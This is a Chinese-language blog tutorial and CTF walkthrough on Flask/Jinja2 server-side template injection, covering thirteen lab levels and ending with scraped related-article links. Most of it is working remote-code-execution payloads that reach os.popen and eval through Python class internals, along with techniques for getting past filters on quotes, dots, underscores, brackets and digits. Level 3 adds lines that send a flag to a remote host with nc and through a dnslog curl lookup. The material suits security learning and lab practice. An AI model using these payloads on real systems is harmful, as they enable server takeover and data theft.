文章目录

  • flask基本知识
    • 字符串形式返回
    • render_template
    • render_template_string
  • SSTI
    • 攻击链构造
  • 靶场通关记录
    • level1(无WAF)
      • 基类 -- 子类 -- bulitins链
      • 内置对象 -- 全局命名空间 -- builtins链
    • level2(bl['{{'])
    • level3(Blind)
    • level4(bl['[', ']'])
      • WarningMessage利用链
      • _wrap_close利用链
    • level5(bl['\'', '"'])
    • level6(bl['_'])
    • level7(bl['.'])
    • level8(过滤常见函数关键字)
    • level9(过滤数字)
    • level10(config)
    • level11
    • level12
    • level13
  • 构造总结

flask基本知识

flask采用装饰器来指定路由,默认的模板渲染引擎为Jinja2。其中模板的三种主要语法为

  • {{ … }}:装载一个变量,渲染模板的时候,可以传入变量名和变量值模板会自动替换变量为传入的变量值
  • {% … %}:装载一个控制语句
  • {# … #}:装载一个注释

字符串形式返回

下面这段代码中/study指定了127.0.0.1:5000/study的请求由study视图函数处理,路由中可以自己添加规则/study/<name>那么访问/study/kit时name在服务端就会被赋值为kit。返回内容可以选择直接返回一个字符串

@app.route('/study/<name>')
def study(name):return "Hello %s" % name

render_template

除了直接返回字符串还可以通过render_template函数指定一个模板内容进行渲染返回

templates:
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><title>study</title>
</head>
<body>{{ data }}
</body>
</html>@app.route('/study')
def study():return render_template("study.html", data="Hello World")

而函数返回了study.html的内容。由于模板中有{{ data }},且返回函数中指定了data为Hello World所以最后返回的结果为

render_template_string

除了上述两个返回的形式以外还有一个返回函数为render_template_stringrender_template不同之处在于该函数传入一个字符串而不是一个模板文件,这个函数也是与SSTI漏洞息息相关的一个函数,下面用两种写法来看一下渲染的不同。

@app.route('/xss/<payload>')
def xsstese(payload):# 1.字符串中插入用户输入的内容html = "<p> %s </p>" % payloadreturn render_template_string(html)# 2.利用函数来插入用户输入的内容html = "<p> {{ data }} </p>"return render_template_string(html, data=payload)

第一种输入XSS payload会弹窗,而第二种不会
第一种返回内容:

第二种返回内容:

可以看出如果采用函数去动态渲染会自动对内容做html实体转义

而如果传入一个模板语法的内容如{{ 49 }},第一种渲染结果为49而第二种为{{ 7*7 }},看到49其实漏洞的产生原因就已经很明确了,服务端采用了render_template_string不安全的返回写法,导致了用户可以传入模板语言从而导致任意代码执行等问题。如传入{{ config }}

SSTI

攻击链构造

通过上文对不安全的render_template_string函数的写法已经大概明白了SSTI产生的原因,接下来看下SSTI中如何构造攻击链。
构造攻击链主要可以通过寻找命令执行api文件读取api两个方向进行。
首先了解一下python中常见的魔法函数

__class__  返回类型所属的对象(类)// 寻找基类的办法
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__   返回该对象所继承的基类// 找到object后 执行函数的方法
__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

下面通过一些内置对象完成这一整条攻击链
(实验环境为python 3.7与python2环境找攻击链略有不同 不过整体思路没有太大差异)

"".__class__  # 获得自身类<class 'str'>
"".__class__.__mro__  # 获得基类(<class 'str'>, <class 'object'>)
"".__class__.__mro__[1].__subclasses__() # 获得大量子类<class 'type'>
<class 'weakref'>
<class 'weakcallableproxy'>
<class 'weakproxy'>
<class 'int'>
<class 'bytearray'>
<class 'bytes'>
<class 'list'>
<class 'NoneType'>
<class 'NotImplementedType'>
<class 'traceback'>
<class 'super'>
......

接下来要在这些子类中寻找到全局模块包含os库的目标子类
首先解释下如何获得全局命名空间的内容

if __name__ == '__main__':def hello():import osos.system("dir")a = "全局变量a"class TestC:def __init__(self):print("创建了Test类")def testfunction(self):print("类内置的函数")os.system("echo hello world")

看这个例子,分别定义了一个类,一个函数,和一个变量,最后执行os库中的system函数,很容易可以看出这样执行会爆出错误,因为os是在hello函数的局部作用域中引入的,全局作用域中是无法直接执行的,那么我们的问题是如何通过testC这个类来执行hello函数呢

global_dic = TestC.__init__.__globals__
for key in list(global_dic):print(key)__name__
__doc__
__package__
__loader__
__spec__
__annotations__
__builtins__
__file__
__cached__
hello
a
TestC
global_dic

可以看到除了加载器自动加载的模块外还有变量a 函数hello等

global_dic = TestC.__init__.__globals__['hello']()

通过调取global命名空间的hello函数即可完成调用os.system('dir')的目的

接下来继续看刚才拿到的子类,我们可以通过遍历subclass.__init__.__globals__中的模块来寻找含有os模块的子类。

object_subclass = "".__class__.__mro__[1].__subclasses__()
for i in range(len(object_subclass)):try:global_dic = object_subclass[i].__init__.__globals__for key in list(global_dic):if "os" == key or "_os" == key:print("index : {0}  subclassName : {1} key : {2}".format(i, global_dic['__name__'],key))except:pass

通过上面的脚本可以得到一部分目标子类,最后即可执行os的system函数从而执行系统命令

target_class = subclass[91]
target_class.__init__.__globals__['_os'].system("dir")

连在一起
"".__class__.__mro__[1].__subclasses__()[91].__init__.__globals__['_os'].system("dir")

攻击链的构造多种多样还有通过flask本身的内置函数以及对象构造,以及利用内置命名空间__builtins__来构造,接下来通过一个靶场来看下在不同过滤情况下的构造思路。

靶场通关记录

level1(无WAF)

基类 – 子类 – bulitins链

1.首先寻找基类
fuzz后下图的payload都可以找到object基类

2.寻找符合条件的子类

{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}


3.利用WarningMessage的__bulitins__执行代码

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

内置对象 – 全局命名空间 – builtins链

也可以通过内置对象的全局空间,然后利用__bulitin__os模块执行

找到__bulitins__后与上述构造相同

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}通过config也可以构造这条链
{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}以及lipsum函数的攻击链
{{lipsum.__globals__['os'].popen('type flag').read()}}

level2(bl[’{{’])

上面第一种寻找基类再寻找子类的构造方法只用到了{% %},可以直接使用

{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

或者不采用{{}}来展示数据,使用{% print %}

{% print url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()") %}

level3(Blind)

没有waf,通过vps监听或者dns解析记录可以得到数据
vps监听

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag|nc ip').read()")}}

dns记录

{{config.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('curl http://`cat flag`.dq80ni.dnslog.cn').read()")}}

level4(bl[’[’, ‘]’])

构造中一般利用[]从字典中提取key的值,除了[]外还可以采用__getitem__提取

WarningMessage利用链

{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__init__.__globals__.__getitem__("__builtins__").__getitem__("eval")('__import__("os").popen("type flag").read()') %}{% endif %}{% endfor %}

_wrap_close利用链

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}

level5(bl[’’’, ‘"’])

过滤单双引号意味着无法指定key值,可以采用传入参数的形式来替代要使用的字符串。flask中request对象可以提取出用户传入参数
内置函数url_for

{{url_for.__globals__.__getitem__(request.cookies.p1).eval(request.cookies.p2)}}
Cookie:p1=__builtins__;p2=__import__('os').popen('type flag').read()

level6(bl[’_’])

所有的魔术方法都采用attr过滤器+request传值的方式获取

config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()

对上面的payload进行变形 以.分割把所有带有_转换为attr过滤器从request中取值

Cookie:class=__class__;init=__init__;globals=__globals__;getitem=__getitem__;{{config|attr(request.cookies.class)|attr(request.cookies.init)|attr(request.cookies.globals)|attr(request.cookies.getitem)("os")|attr("popen")("type flag")|attr("read")()}}

level7(bl[’.’])

与上面一关相同把.换为attr过滤器

{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("type flag")|attr("read")()}}

level8(过滤常见函数关键字)

waf: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]
采用拼接构造

{%for i in ""["__cla""ss__"]["__mr""o__"][1]["__subcla""sses__"]()%}{%if i.__name__ == "_wrap_close"%}{%print i["__in""it__"]["__glo""bals__"]["po""pen"]('type flag')["re""ad"]()%}{%endif%}{%endfor%}

如果采用WarningMessage那条链暂时没想到('__import__("os").popen("type flag").read()')怎么替换

level9(过滤数字)

直接用第一关的payload打

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

level10(config)

禁止了内置对象config,同上

 {%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

level11

waf:
[’\’’, ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’]
{{lipsum.__globals__['os'].popen('type flag').read()}}
采用lipsum这个内置函数的攻击链来构造
首先把所有的.替换为attr过滤器

{{lipsum|attr("__globals__")|attr("get")("os")|attr("popen")("type flag")|attr("read")()}}

接下来替换所有的双引号
可以通过set设置变量的方法搭配join过滤器

构造的基本知识

1 通过set可以给字符串赋值,通过dict和join可以获得绕过引号获取字符串
{% set r=dict(read=1)|join %}{{r}}可以将变量r 赋值为 read

2 {{lipsum|string|list}}可以获得一个列表

[’<’, ‘f’, ‘u’, ‘n’, ‘c’, ‘t’, ‘i’, ‘o’, ‘n’, ’ ', ‘g’, ‘e’, ‘n’, ‘e’, ‘r’, ‘a’, ‘t’, ‘e’, ‘’, ‘l’, ‘o’, ‘r’, ‘e’, ‘m’, '’, ‘i’, ‘p’, ‘s’, ‘u’, ‘m’, ’ ', ‘a’, ‘t’, ’ ', ‘0’, ‘x’, ‘0’, ‘0’, ‘0’, ‘0’, ‘0’, ‘1’, ‘A’, ‘F’, ‘D’, ‘D’, ‘9’, ‘9’, ‘2’, ‘A’, ‘6’, ‘8’, ‘>’]

通过pop取出对应下表的值就可以获得需要的字符,例如第十八位可以获得下划线
{{(lipsum|string|list).pop(18)}} --> _

构造过程

1.替换仅包含字母的字符串
{% set read=dict(read=1)|join%}
{% set popen=dict(popen=1)|join%}
{% set get=dict(get=1)|join%}
{% set os=dict(os=1)|join%}
{{lipsum|attr("__globals__")|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
2.构造__globals__
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(18) %}
{% set global=(underline,underline,dict(globals=1)|join,underline,underline)|join%}
{{lipsum|attr(global)|attr(get)(os)|attr(popen)("type flag")|attr(read)()}}
3.构造命令
{% set type=dict(type=1)|join %}
{% set flag=dict(flag=1)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9) %}
{% set cmd=(type,space,flag)|join%}
最终payload
{{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}

level12

waf:
bl[’_’, ‘.’, ‘0-9’, ‘\’, ‘’’, ‘"’, ‘[’, ‘]’]

比上一关多过滤了数字
可以通过index函数去从列表中获得指定字符串的下标,从而获得数字
从上关的payload可以看出来需要9和18两个数字,来获得下划线和空格

1.获得数字 3 和 2
{% set index=dict(index=a)|join %}
// n下标为3 u下标为2
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
2.获得下划线和空格
{% set pop=dict(pop=1)|join %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
3.最终的payload
{% set read=dict(read=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set get=dict(get=a)|join%}
{% set os=dict(os=a)|join%}
{% set pop=dict(pop=a)|join %}
{% set index=dict(index=a)|join %}
{% set n=dict(n=a)|join %}
{% set u=dict(u=a)|join %}
{% set three=(lipsum|string|list)|attr(index)(n) %}
{% set two=(lipsum|string|list)|attr(index)(u) %}
{% set underline=(lipsum|string|list)|attr(pop)(two*three*three)%}
{% set global=(underline,underline,dict(globals=a)|join,underline,underline)|join%}
{% set type=dict(type=a)|join %}
{% set flag=dict(flag=a)|join %}
{% set space=(lipsum|string|list)|attr(pop)(three*three) %}
{%set cmd=(type,space,flag)|join%}
{{lipsum|attr(global)|attr(get)(os)|attr(popen)(cmd)|attr(read)()}}

level13

waf
bl[’_’, ‘.’, ‘\’, ‘’’, ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’]

过滤了几个关键字
与level12用相同的payload

构造总结

找基类的常见payload:

1.通过内置对象
#python2.7
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[1]
#python3.7
''.__class__.__mro__[1]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
[].__class__.__base__
().__class__.__base__
{}.__class__.__base__
2.通过flask
request.__class__.__mro__[1]
session.__class__.__mro__[1]
redirect.__class__.__mro__[1]

找可以利用的子类

python3 一些利用类
index : 75  subclassName : _ModuleLock  key : __builtins__
index : 76  subclassName : _DummyModuleLock  key : __builtins__
index : 77  subclassName : _ModuleLockManager  key : __builtins__
index : 78  subclassName : _installed_safely  key : __builtins__
index : 79  subclassName : ModuleSpec  key : __builtins__
index : 91  subclassName : FileLoader  key : __builtins__
index : 91  subclassName : FileLoader  key : _os
index : 92  subclassName : _NamespacePath  key : __builtins__
index : 92  subclassName : _NamespacePath  key : _os
index : 93  subclassName : _NamespaceLoader  key : __builtins__
index : 93  subclassName : _NamespaceLoader  key : _os
index : 95  subclassName : FileFinder  key : __builtins__
index : 95  subclassName : FileFinder  key : _os
index : 103  subclassName : IncrementalEncoder  key : __builtins__
index : 104  subclassName : IncrementalDecoder  key : __builtins__
index : 105  subclassName : StreamReaderWriter  key : __builtins__
index : 106  subclassName : StreamRecoder  key : __builtins__
index : 128  subclassName : _wrap_close  key : __builtins__
index : 129  subclassName : Quitter  key : __builtins__
index : 130  subclassName : _Printer  key : __builtins__
index : 137  subclassName : DynamicClassAttribute  key : __builtins__
index : 138  subclassName : _GeneratorWrapper  key : __builtins__
index : 139  subclassName : WarningMessage  key : __builtins__
index : 140  subclassName : catch_warnings  key : __builtins__
index : 167  subclassName : Repr  key : __builtins__
index : 174  subclassName : partialmethod  key : __builtins__
index : 176  subclassName : _GeneratorContextManagerBase  key : __builtins__
index : 177  subclassName : _BaseExitStack  key : __builtins__Process finished with exit code 0python2
index : 59  subclassName : WarningMessage  key : __builtins__
index : 60  subclassName : catch_warnings  key : __builtins__
index : 61  subclassName : _IterationGuard  key : __builtins__
index : 62  subclassName : WeakSet  key : __builtins__
index : 72  subclassName : _Printer  key : __builtins__
index : 72  subclassName : _Printer  key : os
index : 77  subclassName : Quitter  key : __builtins__
index : 77  subclassName : Quitter  key : os
index : 78  subclassName : IncrementalEncoder  key : __builtins__
index : 79  subclassName : IncrementalDecoder  key : __builtins__

找子类模板语句

{% for sub in "".__class__.__mro__[1].__subclasses__() %}{% print sub.__name__ %}{% endfor %}

找指定子类模板语句

{% for sub in ().__class__.__base__.__subclasses__() %}{% if 'Warn' in sub.__name__ %}{% print sub.__name__ %}{% endif %}{% endfor %}

两种命令执行

# os类型子类
target_class.__init__.__globals__['_os'].system("dir")
# __builtins__类型子类
target_class.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("dir").read()

命令执行payload:
{%for sub in ''.__class__.__base__.__subclasses__()%}{%if "Warn" in sub.__name__%}{%print sub.__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')%}{%endif%}{%endfor%}

{%for i in ''.__class__.__base__.__subclasses__()%}{%if i.__name__ =='_wrap_close'%}{%print i.__init__.__globals__.__getitem__('popen')('type flag').read()%}{%endif%}{%endfor%}

内置对象的payload
config.__class__.__init__.__globals__.__getitem__("os").popen("type flag").read()

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('type flag').read()")}}

{{lipsum.__globals__['os'].popen('type flag').read()}}

参考文章:
https://www.cnblogs.com/-chenxs/p/11971164.html
Github SSTI靶场 wp

从Flask入门SSTI相关推荐

  1. Flask入门之Jinjia模板的一些语法

    原文:https://www.cnblogs.com/wongbingming/p/6807771.html Flask入门之Jinjia模板的一些语法 1. 变量表示 {{ argv }} 2. 赋 ...

  2. Flask入门之Virtualvenv的安装及使用(windows)

    转自 https://www.cnblogs.com/wongbingming/p/6795455.html(Flask入门之Virtualvenv的安装及使用(windows)) Virtualve ...

  3. Flask入门系列(转载)

    一.入门系列: Flask入门系列(一)–Hello World 项目开发中,经常要写一些小系统来辅助,比如监控系统,配置系统等等.用传统的Java写,太笨重了,连PHP都嫌麻烦.一直在寻找一个轻量级 ...

  4. Flask入门之上传文件到服务器

    https://www.cnblogs.com/wongbingming/p/6802660.html flask 文件的上传下载和excel操作 Flask入门之上传文件到服务器 今天要做一个简单的 ...

  5. Flask入门之上传文件到本地服务器

    Flask入门之上传文件到服务器 今天要做一个简单的页面,可以实现将文件 上传到服务器(保存在指定文件夹) #Sample.py 1 # coding:utf-8 2 3 from flask imp ...

  6. flask入门2-模板引擎

    day2模板 模板引擎 说明:模板文件就是按照一定的规则书写的展示效果的HTML文件 模板引擎就是负责按照指定规则进行替换的工具 模板引擎选择jinja2 一.渲染模板的方法 将渲染的模板进行返回 r ...

  7. 简单的flask入门,自己来写网页

    简单的flask入门 简单的flask入门 我这里使用的是ubuntu系统,不是windows系统,解释器是python3.6,软件是pycharm 首先要创建虚拟环境, 因为可以创建独立的pytho ...

  8. 关于flask入门教程-ajax+echarts实现大屏展示

    陆陆续续写了一个系列的flask入门教程了,最后以一个半成品大屏做个了结,也算是一段时间的成果吧,毕竟不是专业码农,只是爱好而已,还有很多其他的事情等待探索. 大屏用到的技术主要包括标准的HTML.C ...

  9. Python之Flask入门教程

    Flask简介 Flask是一个用python编写的Web应用程序框架.Armin Ronacher带领一个名为Pocco的国际Python爱好者团队开发了Flask.Flask基于Werkzeug ...

最新文章

  1. Java入门之包装类
  2. C++:读写二进制文件到double数组
  3. 【杂谈】有三AI季划的最核心价值在哪,听听这些同学怎么说!
  4. oracle 整个表空间迁移,ORACLE表批量迁移表空间
  5. Discuz!NT控件剖析 之 Button [原创: 附源码]
  6. Java基础-Java中的内存分配与回收机制
  7. 12.swift 元祖
  8. ASP.NET面试题 (转)
  9. chackbox的值 php获取_PHP操作Redis数据库常用方法
  10. java JVM常见的四大异常及处理方案
  11. vasp软件全名是什么_qvasp一款简单易用的VASP辅助计算软件
  12. Qt:windows下Qt安装教程
  13. cpc客户端紫屏问题解决方法
  14. VC++编程实现镜像劫持
  15. 产生式系统 实验报告 人工智能原理实验
  16. html点击某部分后弹出展开,点击按钮弹出框并显示内容
  17. CESM mpirun noticed that process rank 1 with PID 0 on node ubuntu exited on signal 11
  18. 阿里云短信服务(解决个人无法申请问题)
  19. 这些音乐MV制作堪称大片,看过真是值回票价
  20. java浪漫之心代码_浪漫桃心的Android表白程序

热门文章

  1. Ubuntu单系统重装windows10系统
  2. VsStudio中scanf返回值被忽略的原因及其解决方法
  3. 3个自媒体最火的领域,快速上手,轻松打造爆款
  4. 知乎--您的账号由于OTHER暂被限制使用
  5. GRU网络生成莎士比亚小说
  6. 物联网时代C位争夺战:LoRa VS NB-IoT
  7. Delphi中Move、CopyMemory操作
  8. Linux中SCP用法
  9. 厨房秤程序开发,芯片供应
  10. ubuntu 安装软件(强制)